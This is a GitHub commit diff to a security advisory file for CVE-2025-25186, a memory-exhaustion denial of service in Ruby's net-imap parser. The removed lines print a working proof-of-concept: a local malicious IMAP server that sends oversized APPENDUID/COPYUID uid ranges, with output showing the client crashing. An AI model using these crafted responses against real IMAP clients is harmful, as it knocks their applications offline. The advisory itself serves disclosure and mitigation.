Skip to content

Commit 828fe92

Browse files
authored
Update CVE-2025-25186.yml
* Added extra newlines after the markdown headers for readability. * Removed the overly long Proof of Concept example.
1 parent 60261f3 commit 828fe92

File tree

1 file changed

+16
-128
lines changed

1 file changed

+16
-128
lines changed

gems/net-imap/CVE-2025-25186.yml

Lines changed: 16 additions & 128 deletions
Original file line numberDiff line numberDiff line change
@@ -7,6 +7,7 @@ title: Possible DoS by memory exhaustion in net-imap
77
date: 2025-02-10
88
description: |
99
### Summary
10+
1011
There is a possibility for denial of service by memory exhaustion in
1112
`net-imap`'s response parser. At any time while the client is
1213
connected, a malicious server can send can send highly compressed
@@ -16,6 +17,7 @@ description: |
1617
expanded size of the ranges.
1718
1819
### Details
20+
1921
IMAP's `uid-set` and `sequence-set` formats can compress ranges of
2022
numbers, for example: `"1,2,3,4,5"` and `"1:5"` both represent the
2123
same set. When `Net::IMAP::ResponseParser` receives `APPENDUID` or
@@ -62,7 +64,9 @@ description: |
6264
### Fixes
6365
6466
#### Preferred Fix, minor API changes
67+
6568
Upgrade to v0.4.19, v0.5.6, or higher, and configure:
69+
6670
```ruby
6771
# globally
6872
Net::IMAP.config.parser_use_deprecated_uidplus_data = false
@@ -89,6 +93,7 @@ description: |
8993
will be removed from v0.6)_.
9094
9195
#### Mitigation, backward compatible API
96+
9297
Upgrade to v0.3.8, v0.4.19, v0.5.6, or higher.
9398
9499
For backward compatibility, `uid-set` can still be expanded
@@ -120,137 +125,20 @@ description: |
120125
of retained responses, a simple handler might look something like
121126
the following:
122127
123-
```ruby
124-
limit = 1000
125-
imap.add_response_handler do |resp|
126-
next unless resp.respond_to?(:name) && resp.respond_to?(:data)
127-
name = resp.name
128-
code = resp.data.code&.name if resp.data.respond_to?(:code)
129-
if Net::IMAP::VERSION > "0.4.0"
130-
imap.responses(name) { _1.slice!(0...-limit) }
131-
imap.responses(code) { _1.slice!(0...-limit) }
132-
else
133-
imap.responses(name).slice!(0...-limit)
134-
imap.responses(code).slice!(0...-limit)
135-
end
136-
end
137-
```
138-
139-
### Proof of concept
140-
141-
Save the following to a ruby file (e.g: `poc.rb`) and
142-
make it executable:
143128
```ruby
144-
#!/usr/bin/env ruby
145-
require 'socket'
146-
require 'net/imap'
147-
148-
if !defined?(Net::IMAP.config)
149-
puts "Net::IMAP.config is not available"
150-
elsif !Net::IMAP.config.respond_to?(:parser_use_deprecated_uidplus_data)
151-
puts "Net::IMAP.config.parser_use_deprecated_uidplus_data is not available"
152-
else
153-
Net::IMAP.config.parser_use_deprecated_uidplus_data = :up_to_max_size
154-
puts "Updated parser_use_deprecated_uidplus_data to :up_to_max_size"
155-
end
156-
157-
size = Integer(ENV["UID_SET_SIZE"] || 2**32-1)
158-
159-
def server_addr
160-
Addrinfo.tcp("localhost", 0).ip_address
161-
end
162-
163-
def create_tcp_server
164-
TCPServer.new(server_addr, 0)
165-
end
166-
167-
def start_server
168-
th = Thread.new do
169-
yield
170-
end
171-
sleep 0.1 until th.stop?
172-
end
173-
174-
def copyuid_response(tag: "*", size: 2**32-1, text: "too large?")
175-
"#{tag} OK [COPYUID 1 1:#{size} 1:#{size}] #{text}\r\n"
176-
end
177-
178-
def appenduid_response(tag: "*", size: 2**32-1, text: "too large?")
179-
"#{tag} OK [APPENDUID 1 1:#{size}] #{text}\r\n"
180-
end
181-
182-
server = create_tcp_server
183-
port = server.addr[1]
184-
puts "Server started on port #{port}"
185-
186-
# server
187-
start_server do
188-
sock = server.accept
189-
begin
190-
sock.print "* OK test server\r\n"
191-
cmd = sock.gets("\r\n", chomp: true)
192-
tag = cmd.match(/\A(\w+) /)[1]
193-
puts "Received: #{cmd}"
194-
195-
malicious_response = appenduid_response(size:)
196-
puts "Sending: #{malicious_response.chomp}"
197-
sock.print malicious_response
198-
199-
malicious_response = copyuid_response(size:)
200-
puts "Sending: #{malicious_response.chomp}"
201-
sock.print malicious_response
202-
sock.print "* CAPABILITY JUMBO=UIDPLUS PROOF_OF_CONCEPT\r\n"
203-
sock.print "#{tag} OK CAPABILITY completed\r\n"
204-
205-
cmd = sock.gets("\r\n", chomp: true)
206-
tag = cmd.match(/\A(\w+) /)[1]
207-
puts "Received: #{cmd}"
208-
sock.print "* BYE If you made it this far, you passed the test!\r\n"
209-
sock.print "#{tag} OK LOGOUT completed\r\n"
210-
rescue Exception => ex
211-
puts "Error in server: #{ex.message} (#{ex.class})"
212-
ensure
213-
sock.close
214-
server.close
129+
limit = 1000
130+
imap.add_response_handler do |resp|
131+
next unless resp.respond_to?(:name) && resp.respond_to?(:data)
132+
name = resp.name
133+
code = resp.data.code&.name if resp.data.respond_to?(:code)
134+
if Net::IMAP::VERSION > "0.4.0"
135+
imap.responses(name) { _1.slice!(0...-limit) }
136+
imap.responses(code) { _1.slice!(0...-limit) }
137+
else
138+
imap.responses(name).slice!(0...-limit)
139+
imap.responses(code).slice!(0...-limit)
215140
end
216141
end
217-
218-
# client
219-
begin
220-
puts "Client connecting,.."
221-
imap = Net::IMAP.new(server_addr, port: port)
222-
puts "Received capabilities: #{imap.capability}"
223-
pp responses: imap.responses
224-
imap.logout
225-
rescue Exception => ex
226-
puts "Error in client: #{ex.message} (#{ex.class})"
227-
puts ex.full_message
228-
ensure
229-
imap.disconnect if imap
230-
end
231-
```
232-
233-
Use `ulimit` to limit the process's virtual memory. The following
234-
example limits virtual memory to 1GB:
235-
```console
236-
$ ( ulimit -v 1000000 && exec ./poc.rb )
237-
Server started on port 34291
238-
Client connecting,..
239-
Received: RUBY0001 CAPABILITY
240-
Sending: * OK [APPENDUID 1 1:4294967295] too large?
241-
Sending: * OK [COPYUID 1 1:4294967295 1:4294967295] too large?
242-
Error in server: Connection reset by peer @ io_fillbuf - fd:9 (Errno::ECONNRESET)
243-
Error in client: failed to allocate memory (NoMemoryError)
244-
/gems/net-imap-0.5.5/lib/net/imap.rb:3271:in 'Net::IMAP#get_tagged_response': failed to allocate memory (NoMemoryError)
245-
from /gems/net-imap-0.5.5/lib/net/imap.rb:3371:in 'block in Net::IMAP#send_command'
246-
from /rubylibdir/monitor.rb:201:in 'Monitor#synchronize'
247-
from /rubylibdir/monitor.rb:201:in 'MonitorMixin#mon_synchronize'
248-
from /gems/net-imap-0.5.5/lib/net/imap.rb:3353:in 'Net::IMAP#send_command'
249-
from /gems/net-imap-0.5.5/lib/net/imap.rb:1128:in 'block in Net::IMAP#capability'
250-
from /rubylibdir/monitor.rb:201:in 'Monitor#synchronize'
251-
from /rubylibdir/monitor.rb:201:in 'MonitorMixin#mon_synchronize'
252-
from /gems/net-imap-0.5.5/lib/net/imap.rb:1127:in 'Net::IMAP#capability'
253-
from /workspace/poc.rb:70:in '<main>'
254142
```
255143
cvss_v3: 6.5
256144
unaffected_versions:

0 commit comments

Comments
 (0)